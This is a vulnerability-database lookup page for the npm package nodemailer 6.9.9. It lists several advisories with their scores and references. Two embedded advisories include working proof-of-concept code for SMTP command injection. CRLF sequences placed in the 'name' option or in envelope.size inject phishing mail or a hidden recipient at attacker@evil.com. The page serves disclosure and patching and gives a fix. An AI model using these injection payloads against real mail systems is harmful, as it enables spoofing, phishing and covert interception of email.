Lookup for vulnerable packages by Package URL.

Purlpkg:npm/nodemailer@6.9.9
Typenpm
Namespace
Namenodemailer
Version6.9.9
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version8.0.5
Latest_non_vulnerable_version8.0.5
Affected_by_vulnerabilities
0
url VCID-682s-hdwz-5fdn
vulnerability_id VCID-682s-hdwz-5fdn
summary
Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO)
### Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport `name` configuration option. The `name` value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (`\r\n`). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

### Details

The vulnerability exists in `lib/smtp-connection/index.js`. When establishing an SMTP connection, the `name` option is concatenated directly into the EHLO command:

```javascript
// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();

// line 1336
this._sendCommand('EHLO ' + this.name);
```

The `_sendCommand` method writes the string directly to the socket followed by `\r\n` (line 1082):

```javascript
this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));
```

If the `name` option contains `\r\n` sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the `envelope.from` and `envelope.to` fields which are validated for `\r\n` (line 1107-1119), and unlike `envelope.size` which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the `name` parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (`name` vs `size`), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The `name` option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

### PoC

```javascript
const nodemailer = require('nodemailer');
const net = require('net');

// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
    socket.write('220 test ESMTP\r\n');
    socket.on('data', data => {
        const lines = data.toString().split('\r\n').filter(l => l);
        lines.forEach(line => {
            console.log('SMTP CMD:', line);
            if (line.startsWith('EHLO') || line.startsWith('HELO'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('MAIL FROM'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('RCPT TO'))
                socket.write('250 OK\r\n');
            else if (line === 'DATA')
                socket.write('354 Go\r\n');
            else if (line === '.')
                socket.write('250 OK\r\n');
            else if (line === 'QUIT')
                { socket.write('221 Bye\r\n'); socket.end(); }
            else if (line === 'RSET')
                socket.write('250 OK\r\n');
        });
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;

    // Inject a complete phishing email via EHLO name
    const transport = nodemailer.createTransport({
        host: '127.0.0.1',
        port: port,
        secure: false,
        name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n'
            + 'RCPT TO:<victim@target.com>\r\nDATA\r\n'
            + 'From: ceo@company.com\r\nTo: victim@target.com\r\n'
            + 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
    });

    transport.sendMail({
        from: 'legit@example.com',
        to: 'legit-recipient@example.com',
        subject: 'Normal email',
        text: 'Normal content'
    }, () => { server.close(); process.exit(0); });
});
```

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

### Impact

**Who is affected:** Applications that allow users or external input to configure the `name` SMTP transport option. This includes:
- Multi-tenant SaaS platforms with per-tenant SMTP configuration
- Admin panels where SMTP hostname/name settings are stored in databases
- Applications loading SMTP config from environment variables or external sources

**What can an attacker do:**
1. **Send unauthorized emails** to arbitrary recipients by injecting MAIL FROM and RCPT TO commands
2. **Spoof email senders** by injecting arbitrary From headers in the DATA portion
3. **Conduct phishing attacks** using the legitimate SMTP server as a relay
4. **Bypass application-level controls** on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO
5. **Perform SMTP reconnaissance** by injecting commands like VRFY or EXPN

The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.

**Recommended fix:** Sanitize the `name` option by stripping or rejecting CRLF sequences, similar to how `envelope.from` and `envelope.to` are already validated on lines 1107-1119 of `lib/smtp-connection/index.js`. For example:

```javascript
this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');
```
references
0
reference_url https://github.com/nodemailer/nodemailer
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/nodemailer/nodemailer
1
reference_url https://github.com/nodemailer/nodemailer/commit/0a43876801a420ca528f492eaa01bfc421cc306e
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/nodemailer/nodemailer/commit/0a43876801a420ca528f492eaa01bfc421cc306e
2
reference_url https://github.com/nodemailer/nodemailer/releases/tag/v8.0.5
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/nodemailer/nodemailer/releases/tag/v8.0.5
3
reference_url https://github.com/nodemailer/nodemailer/security/advisories/GHSA-vvjj-xcjg-gr5g
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/nodemailer/nodemailer/security/advisories/GHSA-vvjj-xcjg-gr5g
4
reference_url https://github.com/advisories/GHSA-vvjj-xcjg-gr5g
reference_id GHSA-vvjj-xcjg-gr5g
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-vvjj-xcjg-gr5g
fixed_packages
0
url pkg:npm/nodemailer@8.0.5
purl pkg:npm/nodemailer@8.0.5
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/nodemailer@8.0.5
aliases GHSA-vvjj-xcjg-gr5g
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-682s-hdwz-5fdn
1
url VCID-dm5c-jfy6-jyax
vulnerability_id VCID-dm5c-jfy6-jyax
summary
Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion
## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.

## Original Description
A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.
references
0
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2418133
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://bugzilla.redhat.com/show_bug.cgi?id=2418133
1
reference_url https://github.com/nodemailer/nodemailer
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/nodemailer/nodemailer
2
reference_url https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150
3
reference_url https://access.redhat.com/security/cve/CVE-2025-14874
reference_id CVE-2025-14874
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://access.redhat.com/security/cve/CVE-2025-14874
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-14874
reference_id CVE-2025-14874
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-14874
5
reference_url https://github.com/advisories/GHSA-46j5-6fg5-4gv3
reference_id GHSA-46j5-6fg5-4gv3
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-46j5-6fg5-4gv3
6
reference_url https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v
reference_id GHSA-rcmh-qjqh-p98v
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v
fixed_packages
0
url pkg:npm/nodemailer@7.0.11
purl pkg:npm/nodemailer@7.0.11
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-682s-hdwz-5fdn
1
vulnerability VCID-pcax-yssv-6qby
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/nodemailer@7.0.11
aliases GHSA-46j5-6fg5-4gv3
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-dm5c-jfy6-jyax
2
url VCID-dyzb-n3f5-u3by
vulnerability_id VCID-dyzb-n3f5-u3by
summary
Duplicate
This advisory duplicates another.
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-13033.json
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-13033.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-13033
reference_id
reference_type
scores
0
value 0.00031
scoring_system epss
scoring_elements 0.09369
published_at 2026-06-06T12:55:00Z
1
value 0.00031
scoring_system epss
scoring_elements 0.09294
published_at 2026-06-08T12:55:00Z
2
value 0.00031
scoring_system epss
scoring_elements 0.09354
published_at 2026-06-07T12:55:00Z
3
value 0.00031
scoring_system epss
scoring_elements 0.09349
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-13033
2
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2402179
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value 5.5
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-11-14T20:00:22Z/
url https://bugzilla.redhat.com/show_bug.cgi?id=2402179
3
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-13033
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-13033
4
reference_url https://github.com/nodemailer/nodemailer
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value 5.5
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-11-14T20:00:22Z/
url https://github.com/nodemailer/nodemailer
5
reference_url https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value 5.5
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-11-14T20:00:22Z/
url https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626
6
reference_url https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:acm:2
reference_id cpe:/a:redhat:acm:2
reference_type
scores
url https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:acm:2
7
reference_url https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ceph_storage:8.1::el9
reference_id cpe:/a:redhat:ceph_storage:8.1::el9
reference_type
scores
url https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ceph_storage:8.1::el9
8
reference_url https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:rhdh:1.9::el9
reference_id cpe:/a:redhat:rhdh:1.9::el9
reference_type
scores
url https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:rhdh:1.9::el9
9
reference_url https://access.redhat.com/security/cve/CVE-2025-13033
reference_id CVE-2025-13033
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value 5.5
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-11-14T20:00:22Z/
url https://access.redhat.com/security/cve/CVE-2025-13033
10
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-13033
reference_id CVE-2025-13033
reference_type
scores
0
value 5.5
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-13033
11
reference_url https://github.com/advisories/GHSA-mm7p-fcc7-pg87
reference_id GHSA-mm7p-fcc7-pg87
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-mm7p-fcc7-pg87
12
reference_url https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87
reference_id GHSA-mm7p-fcc7-pg87
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value 5.5
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-11-14T20:00:22Z/
url https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87
13
reference_url https://access.redhat.com/errata/RHSA-2026:15979
reference_id RHSA-2026:15979
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-11-14T20:00:22Z/
url https://access.redhat.com/errata/RHSA-2026:15979
14
reference_url https://access.redhat.com/errata/RHSA-2026:3751
reference_id RHSA-2026:3751
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-11-14T20:00:22Z/
url https://access.redhat.com/errata/RHSA-2026:3751
fixed_packages
0
url pkg:npm/nodemailer@7.0.7
purl pkg:npm/nodemailer@7.0.7
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-682s-hdwz-5fdn
1
vulnerability VCID-dm5c-jfy6-jyax
2
vulnerability VCID-hx8n-ebjx-pfah
3
vulnerability VCID-pcax-yssv-6qby
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/nodemailer@7.0.7
aliases CVE-2025-13033, GHSA-mm7p-fcc7-pg87
risk_score 3.4
exploitability 0.5
weighted_severity 6.8
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-dyzb-n3f5-u3by
3
url VCID-hx8n-ebjx-pfah
vulnerability_id VCID-hx8n-ebjx-pfah
summary
Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls
A DoS can occur that immediately halts the system due to the use of an unsafe function.
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-14874.json
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-14874.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-14874
reference_id
reference_type
scores
0
value 0.00219
scoring_system epss
scoring_elements 0.44516
published_at 2026-06-08T12:55:00Z
1
value 0.00219
scoring_system epss
scoring_elements 0.44564
published_at 2026-06-05T12:55:00Z
2
value 0.00219
scoring_system epss
scoring_elements 0.44572
published_at 2026-06-06T12:55:00Z
3
value 0.00219
scoring_system epss
scoring_elements 0.44551
published_at 2026-06-07T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-14874
2
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2418133
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-12-18T14:32:42Z/
url https://bugzilla.redhat.com/show_bug.cgi?id=2418133
3
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-14874
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-14874
4
reference_url https://github.com/nodemailer/nodemailer
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-12-18T14:32:42Z/
url https://github.com/nodemailer/nodemailer
5
reference_url https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-12-18T14:32:42Z/
url https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150
6
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1123669
reference_id 1123669
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1123669
7
reference_url https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:acm:2
reference_id cpe:/a:redhat:acm:2
reference_type
scores
url https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:acm:2
8
reference_url https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ceph_storage:8
reference_id cpe:/a:redhat:ceph_storage:8
reference_type
scores
url https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ceph_storage:8
9
reference_url https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:rhdh:1
reference_id cpe:/a:redhat:rhdh:1
reference_type
scores
url https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:rhdh:1
10
reference_url https://access.redhat.com/security/cve/CVE-2025-14874
reference_id CVE-2025-14874
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-12-18T14:32:42Z/
url https://access.redhat.com/security/cve/CVE-2025-14874
11
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-14874
reference_id CVE-2025-14874
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-14874
12
reference_url https://github.com/advisories/GHSA-rcmh-qjqh-p98v
reference_id GHSA-rcmh-qjqh-p98v
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-rcmh-qjqh-p98v
13
reference_url https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v
reference_id GHSA-rcmh-qjqh-p98v
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-12-18T14:32:42Z/
url https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v
fixed_packages
0
url pkg:npm/nodemailer@7.0.11
purl pkg:npm/nodemailer@7.0.11
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-682s-hdwz-5fdn
1
vulnerability VCID-pcax-yssv-6qby
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/nodemailer@7.0.11
aliases CVE-2025-14874, GHSA-rcmh-qjqh-p98v
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-hx8n-ebjx-pfah
4
url VCID-pcax-yssv-6qby
vulnerability_id VCID-pcax-yssv-6qby
summary
Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter
### Summary
When a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\r\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails.


### Details
In `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization:

```javascript
if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}
```

This contrasts with other envelope parameters in the same function that ARE properly sanitized:
- **Addresses** (`from`, `to`): validated for `[\r\n<>]` at lines 1107-1127
- **DSN parameters** (`dsn.ret`, `dsn.envid`, `dsn.orcpt`): encoded via `encodeXText()` at lines 1167-1183

The `size` property reaches this code path through `MimeNode.setEnvelope()` in `lib/mime-node/index.js` (lines 854-858), which copies all non-standard envelope properties verbatim:

```javascript
const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});
```

Since `_sendCommand()` writes the command string followed by `\r\n` to the raw TCP socket, a CRLF in the `size` value terminates the `MAIL FROM` command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's `from`/`to` fields and does not include `size`. This vulnerability requires the application to explicitly pass a custom `envelope` object with a `size` property to `sendMail()`. 
While this limits the attack surface, applications that expose envelope configuration to users are affected.

### PoC
ave the following as `poc.js` and run with `node poc.js`:

```javascript
const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});
```

**Expected output:**
```
SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT
```

The `RCPT TO:<attacker@evil.com>` line is injected by the CRLF in the `size` field, silently adding an extra recipient to the email.

### Impact
This is an SMTP command injection vulnerability. An attacker who can influence the `envelope.size` property in a `sendMail()` call can:

- **Silently add hidden recipients** to outgoing emails via injected `RCPT TO` commands, receiving copies of all emails sent through the affected transport
- **Inject arbitrary SMTP commands** (e.g., `RSET`, additional `MAIL FROM` to send entirely separate emails through the server)
- **Leverage the sending organization's SMTP server reputation** for spam or phishing delivery

The severity is mitigated by the fact that the `envelope` object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include `size`. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where `envelope.size` is supported.
references
0
reference_url https://github.com/nodemailer/nodemailer
reference_id
reference_type
scores
0
value 2.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/nodemailer/nodemailer
1
reference_url https://github.com/nodemailer/nodemailer/commit/2d7b9710e63555a1eb13d721296c51186d4b5651
reference_id
reference_type
scores
0
value 2.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/nodemailer/nodemailer/commit/2d7b9710e63555a1eb13d721296c51186d4b5651
2
reference_url https://github.com/nodemailer/nodemailer/security/advisories/GHSA-c7w3-x93f-qmm8
reference_id
reference_type
scores
0
value LOW
scoring_system cvssv3.1_qr
scoring_elements
1
value 2.3
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
2
value LOW
scoring_system generic_textual
scoring_elements
